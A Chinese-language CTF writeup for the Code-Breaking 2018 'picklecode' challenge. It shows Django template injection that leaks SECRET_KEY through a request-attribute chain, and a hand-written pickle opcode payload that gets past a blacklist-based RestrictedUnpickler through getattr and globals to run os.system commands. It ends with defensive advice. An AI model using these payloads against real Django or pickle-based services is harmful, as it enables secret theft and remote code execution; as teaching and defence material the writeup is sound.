Code-Breaking中的两个Python沙箱

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这是一篇Code-Breaking 2018鸽了半年的Writeup,讲一讲Django模板引擎沙箱和反序列化时的沙箱,和如何手搓Python picklecode绕过反序列化沙箱。

源码与环境在这里:https://github.com/phith0n/code-breaking/blob/master/2018/picklecode

Django项目分析

首先下载源码,可以发现目标是一个Django项目。

通常审计Django项目,我会先查看Django的配置文件。目标配置文件code/settings.py中有如下几个值得注意的地方:

  • SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
  • SESSION_SERIALIZER = 'core.serializer.PickleSerializer'

因为和默认的Django配置文件相比,这两处可以说是很少在实际项目中看到的。

SESSION_ENGINE指的是Django使用将用户认证信息存储在哪里,SESSION_SERIALIZER指的是Django用什么方式存储用户认证信息。

一个是存储位置,一个是存储方式。可以简单理解一下,用户的session对象先由SESSION_SERIALIZER指定的方式转换成一个字符串,再由SESSION_ENGINE指定的方式存储到某个地方。

默认Django项目中,这两个值分别是:django.contrib.sessions.backends.dbdjango.contrib.sessions.serializers.JSONSerializer。看名字就知道,默认Django的session是使用json的形式,存储在数据库里。

那么,这里用的两个不是很常见的配置,其实意思就是:该目标的session是用pickle的形式,存储在Cookie中。

目标显而易见了,pickle反序列化是可以执行任意命令的,我们要想办法控制这个值,进而获取目标系统权限。

再进一步思考,我们的目的就是控制session,而session engine是django.contrib.sessions.backends.signed_cookies,也就是说这个session是签名(signed)后存储在Cookie中的,我们唯一不知道的就是签名时使用的密钥。

Django模板引擎沙箱

阅读源码我们发现,用户的用户名被拼接进模板中:

@login_required
def index(request):
    django_engine = engines['django']
    template = django_engine.from_string('My name is ' + request.user.username)
    return HttpResponse(template.render(None, request))

而用户名是注册时用户传入的,那么这里就存在一处模板注入漏洞。

Django的模板引擎沙箱其实一直是很安全的,也就是说即使你让用户控制了模板或模板的一部分,造成模板注入漏洞,也无法通过这个漏洞来执行代码。

但今天我们的目标只是获取Django项目的密钥,这一点还是可以做到的。

我们随便打开一个模板,然后在其中带有模板标签的地方下个断点,如registration/login.html中的{% csrf_token %}

image.png

可见,上下文中有很多变量。这些变量从哪里来的呢?有一部分是加载模板的时候传入的,还有一部分是Django自带的,你想知道Django自带哪些变量,可以看看配置中的templates项:

TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [],
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    },
]

这里的context_processors就代表会向模板中注入的一些上下文。通常来说,requestuser、和perms都是默认存在的,但显然,settings是不存在的,我们无法直接在模板中读取settings中的信息,包括密钥。

我在Python 格式化字符串漏洞(Django为例)这篇文章里曾说过,可以通过request变量的属性,一步步地读取到SECRET_KEY。

但是和格式化字符串漏洞不同,Django的模板引擎有一定限制,比如我们无法读取用下划线开头的属性,所以,前文里说到的{user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}这个方法是不能使用的。

image.png

但利用我刚讲的调试的方法,很容易地可以找到一些更好用的利用链,如:

image.png

其位置在request.user.groups.source_field.opts.app_config.module.admin.settings.SECRET_KEY

所以,我们注册一个名为{{request.user.groups.source_field.opts.app_config.module.admin.settings.SECRET_KEY}}的用户,即可获取签名的密钥:

image.png

这就是第一个沙箱,虽然我们没有完全绕过,但实际上也从中获取到了一些敏感信息。

深入研究Python反序列化

接下来就要看看SESSION_SERIALIZER = 'core.serializer.PickleSerializer'了,虽然从名字上我们看出这里使用了pickle作为session的序列化方式,但打开core.serializer.PickleSerializer类就发现,实际上其中暗藏玄机:

import pickle
import io
import builtins

__all__ = ('PickleSerializer', )


class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))


class PickleSerializer():
    def dumps(self, obj):
        return pickle.dumps(obj)

    def loads(self, data):
        try:
            if isinstance(data, str):
                raise TypeError("Can't load pickle from unicode string")
            file = io.BytesIO(data)
            return RestrictedUnpickler(file,
                              encoding='ASCII', errors='strict').load()
        except Exception as e:
            return {}

对Python熟悉的同学应该很清楚,通常我们反序列化只需要执行pickle.loads即可,但这里使用了RestrictedUnpickler这个类作为序列化时使用的过程类。

其实这就是官方文档给出的一个优化Python反序列化的方式,我们可以给反序列化设置黑白名单,进而限制这个功能被滥用:

image.png

可见,我们只需要实现pickle.Unpickler这个类的find_class方法,并在其中进行判断即可。

回到我们的目标代码,可见,我的find_class中限制了反序列化的对象必须是builtins模块中的对象,但不能是{'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

那么,这意味着什么呢?

我们举个最简单的例子,通常来说生成序列化字符串,我们可以写这样一个类:

class exp(object):
    def __reduce__(self):
        s = r"""touch /tmp/success"""
        return (os.system, (s,))

这样生成出的序列化字符串是:

b'cposixnsystemnp0n(Vtouch /tmp/successnp1ntp2nRp3n.'

我们尝试执行反序列化:

image.png

可见,这里就已经报错了。我们执行的是os.system,实际上在*nix系统下就是posix.system,而find_class中限制module必须是builtins,自然就被拦截了。

这就是反序列化沙盒,也是官方推荐用户使用的一种方式。

反序列化沙盒绕过

那么,这里究竟该如何绕过这个沙盒呢?

首先明确一点,我们只能使用builtins.*方法,所以subprocessos这种模块我们不需要去关注。

builtins模块在Python中实际上就是不需要import就能使用的模块,比如常见的open__import__evalinput这种内置函数,都属于builtins模块。

但这些函数已经被禁用了:

  • eval
  • exec
  • execfile
  • compile
  • open
  • input
  • __import__
  • exit

不过经验丰富的Python小能手很容易就能想到,getattr这个万金油函数没有在黑名单中。

有了这个函数,我们就可以从上下文已有的变量内部,去寻找一些危险属性。比如,虽然find_class中不允许直接使用危险函数,但这个文件开头就引入了三个看着都挺危险的模块:

image.png

我们可以通过builtins.getattr('builtins', 'eval')来获取eval函数,然后再执行即可。此时,find_class获得的module是builtins,name是getattr,在允许的范围中,不会被沙盒拦截。

这就等于绕过了沙盒。

如何用pickle code来写代码

如果真正做过这题的同学,就会提出一个疑问了:首先执行getattr获取eval函数,再执行eval函数,这实际上是两步,而我们常用__reduce__生成的序列化字符串,只能执行一个函数,这就产生矛盾了。

那么,我们如何抛弃__reduce__,手搓pickle代码呢?

先来了解一下pickle究竟是个什么东西吧。pickle实际上是一门栈语言,他有不同的几种编写方式,通常我们人工编写的话,是使用protocol=0的方式来写。而读取的时候python会自动识别传入的数据使用哪种方式,下文内容也只涉及protocol=0的方式。

和传统语言中有变量、函数等内容不同,pickle这种堆栈语言,并没有“变量名”这个概念,所以可能有点难以理解。pickle的内容存储在如下两个位置中:

  • stack 栈
  • memo 一个列表,可以存储信息

我们还是以最常用的那个payload来看起,首先将payload b'cposixnsystemnp0n(Vtouch /tmp/successnp1ntp2nRp3n.'写进一个文件,然后使用如下命令对其进行分析:

python -m pickletools pickle

可见,其实输出的是一堆OPCODE:

image.png

protocol 0的OPCODE是一些可见字符,比如上图中的cp(等。

我们在Python源码中可以看到所有opcode:

image.png

上面例子中涉及的OPCODE我做下解释:

  • c:引入模块和对象,模块名和对象名以换行符分割。(find_class校验就在这一步,也就是说,只要c这个OPCODE的参数没有被find_class限制,其他地方获取的对象就不会被沙盒影响了,这也是我为什么要用getattr来获取对象)
  • (:压入一个标志到栈中,表示元组的开始位置
  • t:从栈顶开始,找到最上面的一个(,并将(t中间的内容全部弹出,组成一个元组,再把这个元组压入栈中
  • R:从栈顶弹出一个可执行对象和一个元组,元组作为函数的参数列表执行,并将返回值压入栈上
  • p:将栈顶的元素存储到memo中,p后面跟一个数字,就是表示这个元素在memo中的索引
  • VS:向栈顶压入一个(unicode)字符串
  • .:表示整个程序结束

知道了这些OPCODE,我们很容易就翻译出__reduce__生成的这段pickle代码是什么意思了:

0: c    GLOBAL     'posix system' # 向栈顶压入`posix.system`这个可执行对象
14: p    PUT        0 # 将这个对象存储到memo的第0个位置
17: (    MARK # 压入一个元组的开始标志
18: V        UNICODE    'touch /tmp/success' # 压入一个字符串
38: p        PUT        1 # 将这个字符串存储到memo的第1个位置
41: t        TUPLE      (MARK at 17) # 将由刚压入栈中的元素弹出,再将由这个元素组成的元组压入栈中
42: p    PUT        2 # 将这个元组存储到memo的第2个位置
45: R    REDUCE # 从栈上弹出两个元素,分别是可执行对象和元组,并执行,结果压入栈中
46: p    PUT        3 # 将栈顶的元素(也就是刚才执行的结果)存储到memo的第3个位置
49: .    STOP # 结束整个程序

显然,这里的memo是没有起到任何作用的。所以,我们可以将这段代码进一步简化,去除存储memo的过程:

cposix
system
(Vtouch /tmp/success
tR.

这一段代码仍然是可以执行命令的。当然,有了memo可以让编写程序变得更加方便,使用g即可将memo中的内容取回栈顶。

那么,我们来尝试编写绕过沙盒的pickle代码吧。

首先使用c,获取getattr这个可执行对象:

cbuiltins
getattr

然后我们需要获取当前上下文,Python中使用globals()获取上下文,所以我们要获取builtins.globals

cbuiltins
globals

Python中globals是个字典,我们需要取字典中的某个值,所以还要获取dict这个对象:

cbuiltins
dict

上述这几个步骤都比较简单,我们现在加强一点难度。现在执行globals()函数,获取完整上下文:

cbuiltins
globals
(tR

其实也很简单,栈顶元素是builtins.globals,我们只需要再压入一个空元组(t,然后使用R执行即可。

然后我们用dict.get来从globals的结果中拿到上下文里的builtins对象,并将这个对象放置在memo[1]:

cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1

到这里,我们已经获得了阶段性的胜利,builtins对象已经被拿到了:

image.png

接下来,我们只需要再从这个没有限制的builtins对象中拿到eval等真正危险的函数即可:

...
cbuiltins
getattr
(g1
S'eval'
tR

g1就是刚才获取到的builtins,我继续使用getattr,获取到了builtins.eval

再执行这个eval:

cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("id")'
tR.

image.png

成功绕过沙盒。

当然,编写pickle代码远不止这么简单,仍有几十个OPCODE我们没有用过,只不过我们现在需要的只是这部分罢了。

后记

出这道题的原因,主要就是考一考大家对Python真正的认识。有些时候打CTF真的是为了学知识,出题也是如此,出题人需要用知识来难倒做题者,而不是用一些繁琐的操作或者没太大意义的脑洞来考做题者。

那么,作为一个开发,如何防御本文描述的这些安全隐患呢?

第一,尽量不要让用户接触到Django的模板,模板的内容通过渲染而不是拼接引入;第二,使用官方推荐的find_class方法的确可以避免反序列化攻击,但在编写这个函数的时候,最好使用白名单来限制反序列化引入的对象,才能做到不被绕过。

这道题目参考了如下paper:

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